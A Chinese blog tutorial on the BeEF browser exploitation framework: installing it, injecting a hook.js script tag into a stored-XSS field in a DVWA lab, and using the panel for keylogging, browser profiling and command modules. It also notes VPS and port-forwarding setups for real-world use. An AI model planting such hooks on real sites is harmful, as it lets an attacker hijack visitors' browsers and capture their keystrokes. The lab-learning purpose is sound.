XSS之Beef的使用
0x01 Beef简介
BeEF是The Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的渗透测试工具。
beef管理、挂钩web浏览器的过程:
生成交互paylaod的hook
服务器端:beef作为服务端管理,管理访问运行了hook的客户端
客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload。
beef将运行了hook的web浏览器钩住,进行管理
0x02攻击手段
配合xss,将hook插入到存在xss的注入处;
直接诱使客户端访问含有 hook 的伪造站点
结合中间人攻击注入 hook 脚本
0x03 用途
键盘记录器
网络扫描
浏览器信息收集
绑定 shell
与 metasploit 集成
等...
0x04 beef工具获取
beef只支持Linux平台
获取:
wget https://github.com/beefproject/beef/archive/master.zip
或:
git clone https://github.com/beefproject/beef
安装配置查看:https://github.com/beefproject/beef/wiki/Installation
kali-linux自带beef;
beef如果用于实战的话,需要一台vps,也就是建立连接的时候要使受害机能访问到beef,因此需要一个外网ip。
我的vps安装beef的时候有点问题,那么我们可以使用本地kali的beef,开放服务后,对beef的服务端口进行端口转发,转发到我们外网的vps上,那么受害机访问payload(hook)后就可以反向到我们的beef服务端了。
这里端口转发可以使用frp、portfwd、ew等。
0x05使用
我在本地进行演示:
攻击机kali:192.168.106.129
靶机DVWA:192.168.31.214
1.更改beef的默认用户名密码
beef的配置文件:/etc/beef-xss/config.yaml
beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值

2.启动
终端输入beef-xss即可启动beef服务端。

beef的服务端地址为:http://127.0.0.1:3000/ui/panel,启动之后浏览器会自动打开网页,进入登录页面,用户密码为默认的beef

登录成功后,这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码,不在线的就是该主机曾经执行过我们的JS脚本代码,但是现在叉掉了该页面
3.插入脚本hook到靶机
然后我们的hook启动的时候已经给出:
Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="https://<IP>:3000/hook.js"></script>
[*] Example: <script src="https://127.0.0.1:3000/hook.js"></script>
kali的地址为192.1618.106.129,那么靶机上插入的hook js脚本为:
<script src="https://192.168.106.129:3000/hook.js"></script>
在靶机DVWA上找一个xss漏洞,将hook插入到注入点:

留言提交后,靶机的浏览器就被beef钩上了:

因为我kali虚拟机开的nat模式,本机连的wifi,因此beef上显示的ip不是我wifi分配的ip,但就是我本机。
存储型xss的话只要插入的hook js语句,那么管理员正常访问他的站点就会触发,然后上钩。
0x06 beef管理
在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息
1、Details是浏览器信息详情

2.logs模块-键盘记录

3.commands-命令模块
Commands是你能对该浏览器进行哪些操作
主要模块:
-Browsers - Exploits - Host - Persistence(持久) - Network
绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见
红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行
橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)
灰色圆圈:模块未在目标浏览器上测试过

更多的请参照卿师傅的博客:https://blog.csdn.net/qq_17204441/article/details/90706415?ops_request_misc=%7B%22request%5Fid%22%3A%22158209161719724835856114%22%2C%22scm%22%3A%2220140713.130056874..%22%7D&request_id=158209161719724835856114&biz_id=0&utm_source=distribute.pc_search_result.none-task
XSS之Beef的使用的更多相关文章
- xss利用——BeEF#stage4(其余功能介绍)
目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...
- xss利用——BeEF#stage3(绕过同源策略与浏览器代理)
绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...
- xss利用——BeEF#stage2(初始并持续化控制)
全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...
- xss利用——BeEF#stage1
全文概览 简介 BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护.是由ruby语言开发的专门针对浏览 ...
- 我为NET狂~群福利:逆天书库
我为NET狂-官方群① 238575862 爱学习,爱研究,福利不断,技能直彪~~ 最近更新:2016-08-30,欢迎补充 暂缺PDF: │ SQL Server 2012 Analysis Ser ...
- Kali Linux之速会BEEF & XSS攻击
beef 安装指南:https://github.com/beefproject/beef/wiki/Installation 升级ruby指南:https://www.cnblogs.com/waw ...
- Beef xss神器
KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...
- xss之渗透测试
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...
- XSS(跨站脚本攻击)的最全总结
从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...
随机推荐
- PDO和Mysqli的区别
参考:http://www.cnblogs.com/feng18/p/6523646.html 人家写的不错
- B语言的发明者 Ken Thomson & C语言的发明者Dennis Ritchie
C语言的发明者Ken Thomson因为没有参加C语言考试,在Google没有提交代码的权力. 哀悼结束,生活还要继续. 说段趣闻吧.大家都知道,C语言和Unix的发明者.图灵奖得主.最具传奇性的程序 ...
- yum管理及源码安装
一.配置YUM库及更新操作 yum概述 基于RPM包构建的软件更新机制,自动解决软件依赖关系 YUM仓库格式 本地:file:// 网络:ftp://或http:// yum源里面包含的内容 .rpm ...
- Java使用反射实现根据字符串类名及参数创建对象
要根据字符串创建对象,可以使用 Class.forName(String) 方法: 而要新建一个可以指定初始值参数的对象,就必须得使用 getConstructor(Class<T>... ...
- AJAX的出现与跨域处理
XMLHttpRequest JSON AJAX CORS 四个名词来开会 如何发请求 在前端的世界里也逛荡了不少日子了,目前已经get到大约5种发起请求的方式,主流的.非主流的. 何种方式 请求方法 ...
- caffe solver configuration
(用到一个加一个, 并非完整的介绍) lr_policy 基本的learning rate 在solver.prototxt中由参数base_lr配置. 配合lr_policy和其余的一些参数制定le ...
- Codeforces 1087B Div Times Mod(数学+暴力)
题意: 求(x div k) * (x mod k) = n的最小解x,保证有解 1<=n<=1e6, k<=1000,1s 思路: 注意到k的范围是1e3, 1<=x mod ...
- 并发编程的基石——AQS类
本博客系列是学习并发编程过程中的记录总结.由于文章比较多,写的时间也比较散,所以我整理了个目录贴(传送门),方便查阅. 并发编程系列博客传送门 本文参考了[Java多线程进阶(六)-- J.U.C之l ...
- PyObject and PyTypeObject - Python 中的 '对象' 们
1 PyObject, PyTypeObject - Python 中的 '对象' 们 '一切皆对象' - 这是 Python 的学习和使用者们最最常听到一句, 可谓 博大精深 - '勃大精深'. ' ...
- Bound Method and Unbound Method - 绑定方法 与 非绑定方法
Bound Method and Unbound Method 通常有两种方法对类的方法(instance.method)/属性(class.attribute)进行引用, 一种称做 Bound Me ...